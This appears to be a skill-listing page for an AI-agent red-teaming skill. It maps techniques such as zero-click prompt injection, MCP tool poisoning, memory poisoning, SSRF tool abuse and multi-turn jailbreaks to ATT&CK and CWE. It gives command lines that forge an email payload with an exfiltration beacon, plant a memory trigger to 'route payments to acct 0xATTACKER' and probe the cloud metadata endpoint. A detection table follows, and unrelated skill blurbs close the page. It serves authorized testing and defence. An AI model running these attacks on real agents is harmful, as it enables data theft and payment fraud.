Use when red-teaming an agentic AI / LLM application — indirect & zero-click prompt injection, MCP tool poisoning, persistent memory poisoning, excessive-agency tool abuse, multi-turn jailbreaks, PyRIT/Garak/Promptfoo harnesses
npx skills add https://github.com/hypnguyen1209/offensive-claude --skill ai-agent-redteam
Offensive testing of autonomous LLM agents — systems that combine model reasoning with
tools, memory, retrieval, and multi-step planning. This is distinct from model-level testing
(see ai-security): the attack surface here is the *agentic pipeline* — untrusted data channels,
tool/MCP integrations, persistent memory, and delegated authority. Assumes authorized engagement.
| Technique | ATT&CK | CWE | Reference | Script |
|-----------|--------|-----|-----------|--------|
| Indirect / zero-click prompt injection (EchoLeak-class) | T1566.002 / AML.T0051.001 | CWE-1427 | references/indirect-prompt-injection.md | scripts/indirect_injection_forge.py |
| RAG corpus poisoning & markdown/image exfiltration | T1567 / AML.T0070 | CWE-1426 | references/indirect-prompt-injection.md | scripts/indirect_injection_forge.py |
| Browser-agent hijack (Comet/CometJacking, Atlas) | T1071.001 / AML.T0051 | CWE-1427 | references/indirect-prompt-injection.md | scripts/indirect_injection_forge.py |
| MCP tool poisoning / line-jumping | T1059 / AML.T0053 | CWE-1427 | references/mcp-tool-poisoning.md | scripts/mcp_tool_poison_server.py |
| MCP rug-pull (silent redefinition) | T1554 / AML.T0010 | CWE-494 | references/mcp-tool-poisoning.md | scripts/mcp_tool_poison_server.py |
| Persistent memory poisoning (MINJA/MemoryGraft) | T1565.001 / AML.T0070 | CWE-349 | references/memory-context-poisoning.md | scripts/memory_poison_minja.py |
| Excessive agency / confused-deputy tool abuse | T1548 / AML.T0053 | CWE-862 | references/excessive-agency-tool-abuse.md | scripts/agency_tool_fuzzer.py |
| Tool output → SSRF / RCE chaining | T1059 / AML.T0054 | CWE-918 / CWE-94 | references/excessive-agency-tool-abuse.md | scripts/agency_tool_fuzzer.py |
| Automated multi-turn jailbreak (Crescendo/TAP/PAIR) | AML.T0054 / AML.T0071 | CWE-1426 | references/automated-jailbreak-multiturn.md | scripts/multiturn_jailbreak.py |
| Best-of-N / encoding obfuscation jailbreak | AML.T0054 | CWE-1426 | references/automated-jailbreak-multiturn.md | scripts/multiturn_jailbreak.py |
| Harness & ASR scoring (PyRIT/Garak/Promptfoo) | AML.T0071 | CWE-1426 | references/agent-redteam-tooling.md | scripts/agent_redteam_harness.py |
# 0. Scope: enumerate agent surface — tools/functions, MCP servers, memory store, data channels
python scripts/agent_redteam_harness.py enumerate --endpoint $AGENT_URL --out surface.json
# 1. Indirect injection: forge a zero-click payload (email/doc/web) + markdown exfil beacon
python scripts/indirect_injection_forge.py --channel email \
--exfil-base https://oast.pro/$TOKEN --obfuscate html-comment --out payload.eml
# 2. MCP: stand up a poisoned MCP server to test client validation / line-jumping
python scripts/mcp_tool_poison_server.py --mode tool-poison --transport stdio
# 3. Memory: query-only MINJA-style injection of a persistent malicious belief
python scripts/memory_poison_minja.py --endpoint $AGENT_URL \
--trigger "vendor invoice" --payload "route payments to acct 0xATTACKER" --bridge-steps 4
# 4. Excessive agency: fuzz tool calls for confused-deputy / SSRF / path traversal
python scripts/agency_tool_fuzzer.py --endpoint $AGENT_URL --tools surface.json --ssrf-canary http://169.254.169.254/
# 5. Automated jailbreak campaign (Crescendo + Best-of-N), record ASR
python scripts/multiturn_jailbreak.py --endpoint $AGENT_URL --strategy crescendo \
--objective "$OBJECTIVE" --max-turns 8 --judge-endpoint $JUDGE_URL
# 6. Full harness run mapped to OWASP Agentic Top 10 + MITRE ATLAS, emit finding records
python scripts/agent_redteam_harness.py run --config harness.yaml --report findings/
| Technique | Telemetry / IOC | Detection (Sigma/EDR) | OPSEC note |
|-----------|-----------------|-----------------------|------------|
| Indirect injection | Hidden HTML comment / white-on-white / 0px text in ingested docs; markdown image to external host | Scan ingested content for <!--, display:none, font-size:0, reference-style ![]; alert on agent-initiated egress to non-allowlisted domains | Stage payloads only on assets in scope; use unique per-test OAST tokens to attribute hits |
| MCP tool poisoning | New/changed tool description hash; instruction-like text in JSON Schema description/enum | Diff tool manifests on connect; flag tool metadata containing imperative verbs / <IMPORTANT> / "do not tell the user" | Test against a local client; never point a real client at an untrusted server outside the lab |
| Memory poisoning | Memory write from low-trust source; semantic drift between stored belief and source provenance | Provenance-tagged memory; alert on retrieval that injects procedural instructions; belief-drift monitor | Use benign-looking triggers; document the latent trigger so blue team can replay/clean |
| Excessive agency | Tool call to internal IP / metadata endpoint; unusual tool-chain ordering; off-hours actions | EDR/network: egress to 169.254.169.254/link-local; anomaly on tool-call sequences | Use non-destructive canaries (read-only SSRF probe) before any state-changing test |
| Automated jailbreak | Burst of semantically-similar prompts; high-perplexity / encoded inputs; rising compliance over turns | Rate + similarity clustering per session; perplexity & encoding detectors; multi-turn escalation scoring | Throttle to avoid DoS; log full transcripts for the report; respect content guardrails of scope |
Create new skills, modify and improve existing skills, and measure skill performance. Use when users want to create a skill from scratch, edit, or optimize an existing skill, run evals to test a skill, benchmark skill performance with variance analysis, or optimize a skill's description for better triggering accuracy.
Guide for creating effective skills. This skill should be used when users want to create a new skill (or update an existing skill) that extends Claude's capabilities with specialized knowledge, workflows, or tool integrations.
Guide for creating effective skills. This skill should be used when users want to create a new skill (or update an existing skill) that extends Claude's capabilities with specialized knowledge, workflows, or tool integrations.
Replace with description of the skill and when Claude should use it.
Use when facing 2+ independent tasks that can be worked on without shared state or sequential dependencies
This skill should be used when the user wants to "create a skill", "add a skill to plugin", "write a new skill", "improve skill description", "organize skill content", or needs guidance on skill structure, progressive disclosure, or skill development best practices for Claude Code plugins.
Helps users discover and install agent skills when they ask questions like "how do I do X", "find a skill for X", "is there a skill that can...", or express interest in extending capabilities. This skill should be used when the user is looking for functionality that might exist as an installable skill.
Use when creating new skills, editing existing skills, or verifying skills work before deployment
Take hypnguyen1209/ai-agent-redteam from the repository into ~/.claude/skills for personal
use, or into .claude/skills inside a project.
The agent identifies a skill by the name field in its header. Two skills with the
same name cannot sit side by side — one of them will be ignored.